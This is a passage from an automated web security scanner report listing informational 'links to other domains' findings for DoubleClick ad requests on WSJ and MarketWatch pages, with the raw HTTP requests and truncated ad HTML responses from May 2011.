Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/pf_weekendinvestor

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=b2pfreezone;tile=5;sz=377x135;ord=2703270327032703;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1952284/Control_snippet_creative_377x135.gif

Request

GET /adi/interactive.wsj.com/pf_weekendinvestor;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=b2pfreezone;tile=5;sz=377x135;ord=2703270327032703; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:27:15 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 537

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/v;232232591;0-0;11;4929999
...[SNIP]...
9182275/39200062/1;;~okv=;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=b2pfreezone;tile=5;sz=377x135;;~aopt=2/1/ff/1;~sscs=%3fhttps://order.wsj.com/sub/xdef/101/6BCWAE_OOT17"><img src="http://s0.2mdn.net/viewad/1952284/Control_snippet_creative_377x135.gif" border=0 alt="Click Here"></a>
...[SNIP]...

19.73. http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/pf_weekendinvestor

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor;!category=;page=article;s=8_10001;mc=b2pfreezone_super;tile=2;sz=571x208;ord=7027702770277027;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1952284/9-FreeReg_msg_v1_571x208.gif

Request

GET /adi/interactive.wsj.com/pf_weekendinvestor;!category=;page=article;s=8_10001;mc=b2pfreezone_super;tile=2;sz=571x208;ord=7027702770277027; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:24:15 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 534

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/y;218880928;0-0;1;49299998
...[SNIP]...
0/36072016/1;;~okv=;!category=;page=article;s=8_10001;mc=b2pfreezone_super;tile=2;sz=571x208;;~aopt=2/1/ff/1;~sscs=%3fhttp://commerce.wsj.com/auth/login?roles=FREEREG-BASE&reg-track-code=ss3_0310"><img src="http://s0.2mdn.net/viewad/1952284/9-FreeReg_msg_v1_571x208.gif" border=0 alt="Click Here"></a>
...[SNIP]...

19.74. http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/rej_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front;u=%5E%5ElA;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;tile=1;sz=377x50;ord=5003500350035003;

The response contains the following link to another domain:

http://s0.2mdn.net/1952284/HP_header_control_tile.jpg

Request

GET /adi/interactive.wsj.com/rej_front;u=%5E%5ElA;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;tile=1;sz=377x50;ord=5003500350035003; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:40:35 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1287

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1952284/HP_header_control_tile.jpg" width="377" height="50" border="0" usemap="#Mapfeb09_stackedheader" />
<map name="Mapfeb09_stackedheader" id="Map">
...[SNIP]...

19.75. http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/rej_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front;!category=;msrc=WSJ_topnav_realestate_main;biz=1053;;s=8_10001;mc=b2pfreezone;tile=7;sz=377x140;ord=5003500350035003;

The response contains the following link to another domain:

http://view.atdmt.com/DEN/view/305523487/direct/01/3738010

Request

GET /adi/interactive.wsj.com/rej_front;!category=;msrc=WSJ_topnav_realestate_main;biz=1053;;s=8_10001;mc=b2pfreezone;tile=7;sz=377x140;ord=5003500350035003; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:24:11 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 711

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/q%3B239192907%3B0-0%3B0%3B29218052%3B2
...[SNIP]...
</a><img src="http://view.atdmt.com/DEN/view/305523487/direct/01/3738010" width="1" height="1" border="0"></body>

19.76. http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/rej_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front;!category=;msrc=WSJ_topnav_realestate_main;biz=1053;;s=8_10001;mc=b2pfreezone;tile=2;sz=377x30;ord=5003500350035003;

The response contains the following link to another domain:

http://s0.2mdn.net/2214035/PID_1278942_14169_sothebys-377x30.gif

Request

GET /adi/interactive.wsj.com/rej_front;!category=;msrc=WSJ_topnav_realestate_main;biz=1053;;s=8_10001;mc=b2pfreezone;tile=2;sz=377x30;ord=5003500350035003; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:40:36 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 47205

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjec
...[SNIP]...
D%3Bmsrc%3DWSJ_topnav_realestate_main%3Bbiz%3D1053%3B%3Bs%3D8_10001%3Bmc%3Db2pfreezone%3Btile%3D2%3Bsz%3D377x30%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://www.wsj.com/sothebysrealty">
<IMG SRC="http://s0.2mdn.net/2214035/PID_1278942_14169_sothebys-377x30.gif" width="377" height="30" BORDER="0" alt="">
</A>
...[SNIP]...

19.77. http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tilebot previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/rej_front_tilebot

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tilebot;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=4;tile=6;sz=120x90;ord=5003500350035003;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/2865542/Halstead.gif

Request

GET /adi/interactive.wsj.com/rej_front_tilebot;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=4;tile=6;sz=120x90;ord=5003500350035003; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:24:09 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 473

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/d;237012714;0-0;1;60333544;2-120/90;40909803/40927590/1;;~okv=;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=4;tile=6;sz=120x90;;~aopt=2/1/ff/1;~sscs=%3fhttp://www.halstead.com"><img src="http://s0.2mdn.net/viewad/2865542/Halstead.gif" border=0 alt="Click Here"></a>
...[SNIP]...

19.78. http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tilebot previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/rej_front_tilebot

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tilebot;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=3;tile=5;sz=120x90;ord=5003500350035003;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/2865542/BHS.gif

Request

GET /adi/interactive.wsj.com/rej_front_tilebot;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=3;tile=5;sz=120x90;ord=5003500350035003; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:40:29 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 478

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/m;237012713;0-0;1;60333544;2-120/90;40909831/40927618/1;;~okv=;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=3;tile=5;sz=120x90;;~aopt=2/1/ff/1;~sscs=%3fhttp://www.Brownharrisstevens.com"><img src="http://s0.2mdn.net/viewad/2865542/BHS.gif" border=0 alt="Click Here"></a>
...[SNIP]...

19.79. http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tiletop previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/rej_front_tiletop

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tiletop;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=1;tile=3;sz=120x90;ord=5003500350035003;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/3094835/TRC_WSJ_120x90.jpg

Request

GET /adi/interactive.wsj.com/rej_front_tiletop;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=1;tile=3;sz=120x90;ord=5003500350035003; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:40:18 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 489

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/q;237007724;0-0;1;60333542;2-120/90;40888842/40906629/1;;~okv=;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=1;tile=3;sz=120x90;;~aopt=2/1/ff/1;~sscs=%3fhttp://www.theremaxcollection.com"><img src="http://s0.2mdn.net/viewad/3094835/TRC_WSJ_120x90.jpg" border=0 alt="Click Here"></a>
...[SNIP]...

19.80. http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tiletop previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/rej_front_tiletop

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tiletop;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=2;tile=4;sz=120x90;ord=5003500350035003;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/3087508/120x90_LP_Tile.jpg

Request

GET /adi/interactive.wsj.com/rej_front_tiletop;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=2;tile=4;sz=120x90;ord=5003500350035003; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:24:09 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 486

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/e;236740891;0-0;1;60333542;2-120/90;41006660/41024447/1;;~okv=;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=2;tile=4;sz=120x90;;~aopt=2/1/ff/1;~sscs=%3fhttp://www.luxuryportfolio.com"><img src="http://s0.2mdn.net/viewad/3087508/120x90_LP_Tile.jpg" border=0 alt="Click Here"></a>
...[SNIP]...

19.81. http://ad.doubleclick.net/adi/interactive.wsj.com/topics previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/topics

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/topics;u=%5E%5E;!category=;;mc=b2pfreezone;tile=1;sz=377x50;ord=7304730473047304;

The response contains the following link to another domain:

http://s0.2mdn.net/1952284/HP_header_control_tile.jpg

Request

GET /adi/interactive.wsj.com/topics;u=%5E%5E;!category=;;mc=b2pfreezone;tile=1;sz=377x50;ord=7304730473047304; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:12:28 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1183

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1952284/HP_header_control_tile.jpg" width="377" height="50" border="0" usemap="#Mapfeb09_stackedheader" />
<map name="Mapfeb09_stackedheader" id="Map">
...[SNIP]...

19.82. http://ad.doubleclick.net/adi/interactive.wsj.com/us_houseoftheday previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/us_houseoftheday

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/us_houseoftheday;!category=;page=hodus;biz=1053;;s=8_10001;mc=wsjfreezone;tile=2;sz=300x250;ord=9484948494849484;

The response contains the following links to other domains:

http://view.atdmt.com/NYC/iview/305680077/direct;wi.300;hi.250/01/5678228?click=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/f%3B240291438%3B0-0%3B0%3B61159101%3B4307-300/250%3B41213814/41231601/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bpage%3Dhodus%3Bbiz%3D1053%3B%3Bs%3D8_10001%3Bmc%3Dwsjfreezone%3Btile%3D2%3Bsz%3D300x250%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f
http://view.atdmt.com/NYC/view/305680077/direct;wi.300;hi.250/01/5678228

Request

GET /adi/interactive.wsj.com/us_houseoftheday;!category=;page=hodus;biz=1053;;s=8_10001;mc=wsjfreezone;tile=2;sz=300x250;ord=9484948494849484; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:56:32 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1701

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><iframe src="http://view.atdmt.com/NYC/iview/305680077/direct;wi.300;hi.250/01/5678228?click=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/f%3B240291438%3B0-0%3B0%3B61159101%3B4307-300/250%3B41213814/41231601/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bpage%3Dhodus%3Bbiz%3D1053%3B%3Bs%3D8_10001%3Bmc%3Dwsjfreezone%3Btile%3D2%3Bsz%3D300x250%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" topmargin="0" leftmargin="0" allowtransparency="true" width="300" height="250">
<script language="JavaScript" type="text/javascript">
...[SNIP]...
3Bbiz%3D1053%3B%3Bs%3D8_10001%3Bmc%3Dwsjfreezone%3Btile%3D2%3Bsz%3D300x250%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://clk.atdmt.com/NYC/go/305680077/direct;wi.300;hi.250/01/5678228" target="_blank"><img border="0" src="http://view.atdmt.com/NYC/view/305680077/direct;wi.300;hi.250/01/5678228" /></a>
...[SNIP]...

19.83. http://ad.doubleclick.net/adi/interactive.wsj.com/weekend previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/weekend

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/weekend;u=;!category=;;mc=b2pfreezone;tile=1;sz=377x50;ord=6698669866986698;

The response contains the following link to another domain:

http://s0.2mdn.net/1952284/wknd_circ.jpg

Request

Response

19.84. http://ad.doubleclick.net/adi/marketwatch.com/brand_channel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/brand_channel

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/marketwatch.com/brand_channel;u=%5e%5e;sz=377x140;tile=8;ord=1820011674?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1867819/ssga_377x140-r01.gif

Request

GET /adi/marketwatch.com/brand_channel;u=%5e%5e;sz=377x140;tile=8;ord=1820011674? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:16:01 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 493

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/v;240156713;0-0;0;39274004;29332-377/140;41933718/41951505/1;u=^^;~okv=;u=^^;sz=377x140;tile=8;~aopt=2/1/ff/1;~sscs=%3fhttp://online.wsj.com/ad/privatewealth"><img src="http://s0.2mdn.net/viewad/1867819/ssga_377x140-r01.gif" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

19.85. http://ad.doubleclick.net/adi/marketwatch.com/frontpage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/frontpage

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/marketwatch.com/frontpage;u=%5e%5e;sz=377x140;tile=9;ord=1820011674?

The response contains the following links to other domains:

http://s0.2mdn.net/1146650/MKW_TI_377_140_Replacement.gif
http://s0.2mdn.net/879366/flashwrite_1_2.js

Request

GET /adi/marketwatch.com/frontpage;u=%5e%5e;sz=377x140;tile=9;ord=1820011674? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:13:02 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 3777

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent">


<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>
...[SNIP]...
2042175/1%3Bu%3D%5E%5E%3B%7Eokv%3D%3Bu%3D%5E%5E%3Bsz%3D377x140%3Btile%3D9%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3fhttp://store.marketwatch.com/webapp/wcs/stores/servlet/Premium_Newsletters?dist=IBEHM1ARX"><img src="http://s0.2mdn.net/1146650/MKW_TI_377_140_Replacement.gif" border="0" alt="" ></a>
...[SNIP]...

19.86. http://ad.doubleclick.net/adi/marketwatch.com/frontpage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/frontpage

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/marketwatch.com/frontpage;u=%5e%5e;sz=250x26;tile=2;ord=1820011674?

The response contains the following link to another domain:

http://s0.2mdn.net/1363789/PID_1607418_250x26_TA_MarketWatch-fk.png

Request

GET /adi/marketwatch.com/frontpage;u=%5e%5e;sz=250x26;tile=2;ord=1820011674? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:15:59 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 52216

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects)
...[SNIP]...
